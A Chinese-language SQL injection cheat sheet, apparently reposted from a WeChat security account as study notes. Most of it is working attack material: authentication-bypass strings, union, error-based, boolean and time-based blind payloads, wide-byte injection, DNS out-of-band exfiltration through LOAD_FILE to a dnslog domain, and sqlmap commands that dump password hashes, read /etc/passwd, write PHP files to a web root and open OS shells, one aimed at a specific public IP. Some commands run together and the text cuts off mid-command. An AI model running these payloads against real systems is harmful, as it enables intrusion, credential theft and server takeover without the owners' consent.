-
原理(注入条件):
首先找注入点,任何与数据库有交互的地方都有可能存在sql注入
可控变量
带入数据库查询
变量存在过滤但可进行绕过
二、注入点:
认证页面
搜索页面
Post请求
Get请求
HTTP头部
Cookie
等
三、常用函数及变量:
常用函数:
GROUP_CONCAT(col) 返回由属于一组的列值连接组合而成的结果
## ASCII(char) 返回字符的ASCII码值
DATABASE() 返回当前数据库名
USER()或SYSTEM_USER() 返回当前登陆用户名
VERSION() 返回数据库的版本
SLEEP(n) 休眠n秒
2. PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。这些超全局变量是:
_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
_POST (获取POST传参)
_GET (获取GET的传参)
_COOKIE (获取COOKIE的值)
_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
_SERVER功能
常用的:
'HTTP_HOST'] 请求头信息中的Host内容,获取当前域名。 _SERVER[
"HTTP_USER_AGENT"] 获取用户相关信息,包括用户浏览器、操作 系统等信息。 _SERVER[
"REMOTE_ADDR"] 浏览网页的用户ip。 _SERVER[
四、查询方式:
select 查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,'x','$t')
delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd='$p' where id=2 and username='admin'
order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的SQL查询方式
只要存在前后台交互的地方都可能存在注入漏洞
一、判断注入:
例:判断参数是否可控
?id=1 and 1=1(正确) 逻辑判断方法
?id=1 and 1=2(错误) 逻辑判断方法
?id=1' 符号干扰判断方法 包括:" ") ' ')
?id=0.1111 ?id=-1 参数错误判断方法
?id=1 and sleep(10) 延时判断方法
?id=1-1 运算符判断方法
示:闭合方法
'and '1'='1
' and 1=1 --+-
' and 1=1 #
" and 1=1 %23
?id=1' and 1=2 ;%00 特殊的注释符
id=1' or 1=1 or '1'='1
id=1' or 1=2 or '1'='1
id=1' and 1=1 and '1'='1
id=1' and 1=2 and '1'='1
番外:
SQL测试语句:
-1
%2B1
'--+
"--+
'#
') --+
")--+
')#
' or '1'='1
' and '1'='1
' and sleep(5)
; and 1=1 and 1=2
1 and sleep(4) --+
1' and sleep(4) --+
1') and sleep(4) --+
;WAITFOR DELAY '0:0:5'--
admin' or 'a'='a' or 'a'='a
and 1 like 2
admin')or 1=1#
admin' or '1'='1
1 /*123*/ union select user(),2
/**/and/**/1=2
1' and '1' like '1
1' and '1' like '0
1' or '1' like'0
1'or '1' like '1
1/0
1/2
1/3
'^1/1^'0
'||1/1||'
'and+1/user='1
二、拆解字段数:
order by (数据库排序命令)
例:?id=1' order by 3 -- -
group by
例:?id=1' group by 3 desc-- -
三、判断显错位:
union select(数据库联合查询命令)
例:?id=-1' union select 1,2,3 -- -
四、查询库名:
database() (返回当前数据库名)
例:?id=-1' union select 1,database(),3 -- -
五、查询表名:
注:在MySql5.0以上版本自带存储有MySql数据库下所有数据库里面的数据信息,包括数据库名,表名,列名等信息,所以我们根据查询它获取指定数据库下的表名及列名信息。
information_schema:系统自带库
table_name:列名
column_nmae:数据库名
information_schema.tables:存储表名信息的表
information_schema.columns:存储列名信息的表
information_schema.schemata:存储数据库名信息的表
例1:?id=-1' union select 1,table_name,3 from information_schema.tabales where table_schema=database() limit 0,1-- - (试用limit进行多条件查询、在无法显示多条信息的时候使用)
例2:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -
六、查询字段名:
获取某数据库下的表名下面的列名信息
例:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schenma='表名'-- -
七、查询数据:
例:?id=-1' union select 1,字段名,3 from 表名 limit 0,1 -- -
一、Post传参:
万能密码 'or 1=1 # 'or 1=1 /* 'or '1'='1
猜字段数'order by #
联合查询回显点' union select #
步骤与get传参相近
例:
uname=admin' order by 1,2 #&passwd=admin&submit=Submi
uname=-admin' union select 1,database() #&passwd=admin&submit=Submi
二、HTTP头-head:
在报文里只要是存在于数据库交互的地方也是可以进行注入测试的。不单单仅限于报错注入,各种注入的手法皆可尝试
使用报错语句
User-Agent:'or updatexml(1,concat(0x7e,(select database())),1),1)#
Referer: 'or updatexml(1,concat(0x7e,(select database())),1),1)#
X-Forwarded-For:'or updatexml(1,concat(0x7e,(select database())),1),1)#
则使用报错注入,报错语句:
1). 通过updatexml报错
and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
2). 通过ExtractValue报错
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+
输出字符有长度限制,最长32位。
多种报错注入方式:
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x3a,(select user())),1));
and GeometryCollection((select*from(select*from(select @@version)f)x));
and polygon((select*from(select name_const(version(),1))x))
and linestring((select * from(select * from(select user())a)b));
and multilinestring((select * from(select * from(select version())a)b));
and multipoint((select * from(select * from(select user())a)b));
and multipolygon((select * from(select * from(select user())a)b));
and exp(~(select * from(select version())a));
三、盲注:
length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
盲注就是在注入过程中,获取的数据不能回显至前端页面。
此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
1.布尔型盲注
猜解当前数据库名称长度
and (length(database()))>9#
利用ASCII码猜解当前数据库名称
and (ascii(substr(database(),1,1)))=115--+ 返回正常,说明数据库名称第一位是s
and (ascii(substr(database(),2,1)))=101--+ 返回正常,说明数据库名称第二位是e
猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+ 返回正常,说明数据库表名的第一个的第一位是e
猜字段名
and (ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)))=102--+ 返回正常,说明表中的列名称第一位是f
猜内容
and (ascii(substr(( select 字段名 from 表名 limit 3,1),1,1)))=122--+返回正常,说明第四列第一位是122,122等于z
2.延时型盲注
判断方法
and sleep(10)--+
做法
判断数据库名 长度
?id=1'and if(length(database())=8,sleep(10),1) --+
判断数据库名第一位是什么
and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
注:mssql 延时 返回正常将延时五秒
if exists (select * from sysobjects) waitfor delay '0:0:5'--+-
四、Cookie传参:
使用浏览器的开发者模式 使用console
语句为:
Document.cookie="id="+escape("171")
Document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin")
SQLmap如何跑Cookie注入
sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2
五、access偏移注入:(access数据库必须带表名)
使用场景:知道表名但不知道字段名,比如权限不足的知道表名却不知道字段,使用偏移查询主要字段内容等
条件:注入点表的字段数要大于等于查询表的字段数
原理:利用数据库语法中的 表名.* 代表表中的所有字段
判断注入点(常规判断不写)
判断字段数
order by
联合查询判断回显点
union select 1,2,3,4,5,6 from admin
偏移查询数据(移动字段的位置获取字段内容)
union select 1,2,admin.*,4,5,6 from admin
union select 1,2,3,admin.*,5,6 from admin
表爆破:exists(select*from admin)
六、宽字节注入:
关键函数
magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
get传参:
注入点判断
%df%27%20--+
字段数
%df%27%20order%20by%201,2,3--+
显错位
%df%27%20union%20select%201,2,3--+
查库名,爆表名(用16进制来代替字符串)
%df%27%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7769646563686172%20--+
七、DNSLOG注入
dns带外查询属于MySQL注入。常用于无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来
利用MySQL数据库的 LOAD_FILE() 读取文件的函数去拼接查询结果并访问用于拼接的dns平台 然后通过平台去进行查看接收到的数据
由于本人在dnslog使用上多用于命令执行跟部分漏洞验证中使用这里就没有多久记录,可以多看看查考资料。
常用dnslog平台:
http://www.dnslog.cn
http://ceye.io
MySQL查询示例:
SELECT LOAD_FILE('//',(select database()),'.fsd25z.dnslog.cn/abc');
参考资料:
https://blog.csdn.net/qq_35569814/article/details/100348097
https://www.cnblogs.com/-qing-/p/10623583.html
http://t.zoukankan.com/s1ye-p-8909452.html
一、基本使用:
sqlmap.py -v 查询sqlmap版本
sqlmap.py --update 更新sqlmap版本
sqlmap.py -u "网址" 查询网址是否有注入点
--is-dba 查看当前用戶是否为dba(database admin)用戶管理员 显示current user is DBA 为 True 则为管理员
--dbs 列出所有数据库 (可进行跨库查询)
--current-db 查看当前数据库
--tables -D "库名" (可不加引号) 列出 库名 的 所有 表
--columns -T "表名" -D "库名" (可不加引号) 列出 表名 的 所有 列
--dump -T "表名" -D "库名" (可不加引号) 列出 列名 的 所有內容
--users 获取所有用户名
--password 获取所有用户密码
二、命令解释:
-u
-f
-b
-p
-D ""
-T ""
-C ""
-s ""
--level=(1-5)
--risk=(0-3)
--time-sec=(2,5)
--data
--columns
--current-user
--current-db
--users
--passwords
--privileges
-U
--dbs
--tables -D ""
--columns -T "user" -D "mysql"
--dump-all
--exclude-sysdbs
--dump -T "" -D "" -C ""
--dump -T "" -D "" --start 2 --top 4
--dbms
--os
-v
1:显示信息和警告消息
2:显示调试信息
3:有效载荷注入
4:显示HTTP请求
5:显示HTTP相应
6:显示HTTP相应页面的内容
--privileges
--is-dba
--roles
--udf-inject
--union-check
--union-cols
--union-test
--union-use
--union-tech orderby
--data ""
--cookie "用;号分开"
--user-agent ""
--proxy "http://127.0.0.1:8118"
--string=""
--threads
--sql-shell
--sql-query
--file-read
--file-write
--file-dest
--os-cmd=id
--os-shell
--os-pwn
--msf-path=
--os-smbrelay
--os-bof
--reg-read
--priv-esc
--time-sec=
--eta
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
三、常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass" -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:boot.ini" -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINESOFEWAREsqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta
15./sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"17./sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19./sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
20./sqlmap.py -u "http://192.168.1.1/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
21./sqlmap.py -u "http://192.168.1.1/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:
END
本文始发于微信公众号(NOVASEC):基础普及-笔记共享(sql注入)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论